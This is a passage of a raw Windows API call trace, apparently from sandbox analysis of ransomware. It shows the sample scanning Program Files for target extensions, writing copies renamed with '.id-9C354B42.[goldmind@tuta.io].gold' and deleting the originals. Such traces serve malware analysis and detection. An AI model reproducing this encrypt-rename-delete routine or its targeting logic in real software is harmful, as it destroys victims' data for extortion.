(lpString=".dbf") returned 4 [0089.103] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.103] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0089.103] lstrlenW (lpString=".1cd") returned 4 [0089.103] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.103] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0089.103] lstrlenW (lpString=".jpg") returned 4 [0089.103] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.103] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0089.103] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33 [0089.103] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0089.104] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=5025) returned 1 [0089.104] CloseHandle (hObject=0x194) returned 1 [0089.104] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png")) returned 0x20 [0089.104] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.104] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.104] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0089.104] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0089.104] lstrlenW (lpString=".doc") returned 4 [0089.104] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.104] lstrlenW (lpString=".docx") returned 5 [0089.104] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0089.104] lstrlenW (lpString=".pdf") returned 4 [0089.104] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.104] lstrlenW (lpString=".xls") returned 4 [0089.104] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.104] lstrlenW (lpString=".xlsx") returned 5 [0089.104] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0089.104] lstrlenW (lpString=".ppt") returned 4 [0089.104] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.104] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0089.104] lstrlenW (lpString=".zip") returned 4 [0089.104] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.104] lstrlenW (lpString=".rar") returned 4 [0089.104] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.104] lstrlenW (lpString=".bz2") returned 4 [0089.105] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.105] lstrlenW (lpString=".7z") returned 3 [0089.105] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.105] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0089.105] lstrlenW (lpString=".dbf") returned 4 [0089.105] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.105] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0089.105] lstrlenW (lpString=".1cd") returned 4 [0089.105] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.105] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0089.105] lstrlenW (lpString=".jpg") returned 4 [0089.105] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.105] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0089.105] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0089.105] lstrlenW (lpString=".doc") returned 4 [0089.105] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.105] lstrlenW (lpString=".docx") returned 5 [0089.105] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0089.105] lstrlenW (lpString=".pdf") returned 4 [0089.105] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.105] lstrlenW (lpString=".xls") returned 4 [0089.105] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.105] lstrlenW (lpString=".xlsx") returned 5 [0089.105] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0089.105] lstrlenW (lpString=".ppt") returned 4 [0089.105] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.105] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0089.105] lstrlenW (lpString=".zip") returned 4 [0089.105] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.105] lstrlenW (lpString=".rar") returned 4 [0089.105] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.105] lstrlenW (lpString=".bz2") returned 4 [0089.106] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.106] lstrlenW (lpString=".7z") returned 3 [0089.106] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.106] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0089.106] lstrlenW (lpString=".dbf") returned 4 [0089.106] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.106] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0089.106] lstrlenW (lpString=".1cd") returned 4 [0089.106] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.106] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0089.106] lstrlenW (lpString=".jpg") returned 4 [0089.106] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.106] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0089.106] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39 [0089.106] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0089.107] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=3118) returned 1 [0089.107] CloseHandle (hObject=0x194) returned 1 [0089.107] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png")) returned 0x20 [0089.107] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.107] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.107] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0089.107] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0089.107] lstrlenW (lpString=".doc") returned 4 [0089.107] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.107] lstrlenW (lpString=".docx") returned 5 [0089.107] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0089.107] lstrlenW (lpString=".pdf") returned 4 [0089.107] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.107] lstrlenW (lpString=".xls") returned 4 [0089.107] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.107] lstrlenW (lpString=".xlsx") returned 5 [0089.107] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0089.107] lstrlenW (lpString=".ppt") returned 4 [0089.107] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.107] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0089.107] lstrlenW (lpString=".zip") returned 4 [0089.107] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.107] lstrlenW (lpString=".rar") returned 4 [0089.107] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.107] lstrlenW (lpString=".bz2") returned 4 [0089.107] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.107] lstrlenW (lpString=".7z") returned 3 [0089.108] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.108] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0089.108] lstrlenW (lpString=".dbf") returned 4 [0089.108] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.108] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0089.108] lstrlenW (lpString=".1cd") returned 4 [0089.108] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.108] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0089.108] lstrlenW (lpString=".jpg") returned 4 [0089.108] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.108] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0089.108] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0089.108] lstrlenW (lpString=".doc") returned 4 [0089.108] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.108] lstrlenW (lpString=".docx") returned 5 [0089.108] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0089.108] lstrlenW (lpString=".pdf") returned 4 [0089.108] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.108] lstrlenW (lpString=".xls") returned 4 [0089.108] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.108] lstrlenW (lpString=".xlsx") returned 5 [0089.108] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0089.108] lstrlenW (lpString=".ppt") returned 4 [0089.108] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.108] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0089.108] lstrlenW (lpString=".zip") returned 4 [0089.108] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.108] lstrlenW (lpString=".rar") returned 4 [0089.108] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.108] lstrlenW (lpString=".bz2") returned 4 [0089.108] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.108] lstrlenW (lpString=".7z") returned 3 [0089.108] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.108] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0089.108] lstrlenW (lpString=".dbf") returned 4 [0089.108] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.108] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0089.108] lstrlenW (lpString=".1cd") returned 4 [0089.108] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.108] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0089.108] lstrlenW (lpString=".jpg") returned 4 [0089.108] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.108] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0089.109] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30 [0089.109] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0089.109] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=4955) returned 1 [0089.109] CloseHandle (hObject=0x194) returned 1 [0089.109] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png")) returned 0x20 [0089.109] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.110] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.110] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0089.110] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0089.110] lstrlenW (lpString=".doc") returned 4 [0089.110] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.110] lstrlenW (lpString=".docx") returned 5 [0089.110] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0089.110] lstrlenW (lpString=".pdf") returned 4 [0089.110] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.110] lstrlenW (lpString=".xls") returned 4 [0089.110] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.110] lstrlenW (lpString=".xlsx") returned 5 [0089.110] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0089.110] lstrlenW (lpString=".ppt") returned 4 [0089.110] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.110] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0089.110] lstrlenW (lpString=".zip") returned 4 [0089.110] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.110] lstrlenW (lpString=".rar") returned 4 [0089.110] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.110] lstrlenW (lpString=".bz2") returned 4 [0089.110] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.110] lstrlenW (lpString=".7z") returned 3 [0089.110] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.110] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0089.110] lstrlenW (lpString=".dbf") returned 4 [0089.110] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.868] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.868] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.376] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.376] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0090.509] GetLastError () returned 0x0 [0090.509] ReadFile (in: hFile=0x394, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x3a94, lpOverlapped=0x0) returned 1 [0090.534] WriteFile (in: hFile=0x33c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x3aa0, lpOverlapped=0x0) returned 1 [0090.535] ReadFile (in: hFile=0x394, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.535] WriteFile (in: hFile=0x33c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.535] SetEndOfFile (hFile=0x33c) returned 1 [0090.535] CloseHandle (hObject=0x33c) returned 1 [0090.535] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.535] SetEndOfFile (hFile=0x394) returned 1 [0090.540] CloseHandle (hObject=0x394) returned 1 [0090.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0090.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0090.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0090.592] lstrlenW (lpString=".doc") returned 4 [0090.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.592] lstrlenW (lpString=".docx") returned 5 [0090.592] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.592] lstrlenW (lpString=".pdf") returned 4 [0090.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.592] lstrlenW (lpString=".xls") returned 4 [0090.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.592] lstrlenW (lpString=".xlsx") returned 5 [0090.592] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.592] lstrlenW (lpString=".ppt") returned 4 [0090.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0090.592] lstrlenW (lpString=".zip") returned 4 [0090.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.592] lstrlenW (lpString=".rar") returned 4 [0090.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.592] lstrlenW (lpString=".bz2") returned 4 [0090.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.592] lstrlenW (lpString=".7z") returned 3 [0090.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0090.592] lstrlenW (lpString=".dbf") returned 4 [0090.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0090.592] lstrlenW (lpString=".1cd") returned 4 [0090.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0090.592] lstrlenW (lpString=".jpg") returned 4 [0090.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0090.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0090.592] lstrlenW (lpString=".doc") returned 4 [0090.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.592] lstrlenW (lpString=".docx") returned 5 [0090.592] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.592] lstrlenW (lpString=".pdf") returned 4 [0090.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.592] lstrlenW (lpString=".xls") returned 4 [0090.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.593] lstrlenW (lpString=".xlsx") returned 5 [0090.593] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.593] lstrlenW (lpString=".ppt") returned 4 [0090.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0090.593] lstrlenW (lpString=".zip") returned 4 [0090.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.593] lstrlenW (lpString=".rar") returned 4 [0090.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.593] lstrlenW (lpString=".bz2") returned 4 [0090.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.593] lstrlenW (lpString=".7z") returned 3 [0090.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0090.593] lstrlenW (lpString=".dbf") returned 4 [0090.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0090.593] lstrlenW (lpString=".1cd") returned 4 [0090.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0090.593] lstrlenW (lpString=".jpg") returned 4 [0090.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.593] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0090.593] lstrlenW (lpString="DD00414_.WMF") returned 12 [0090.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0090.594] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=42908) returned 1 [0090.594] CloseHandle (hObject=0x38c) returned 1 [0090.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x20 [0090.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0090.594] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.594] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0090.595] GetLastError () returned 0x0 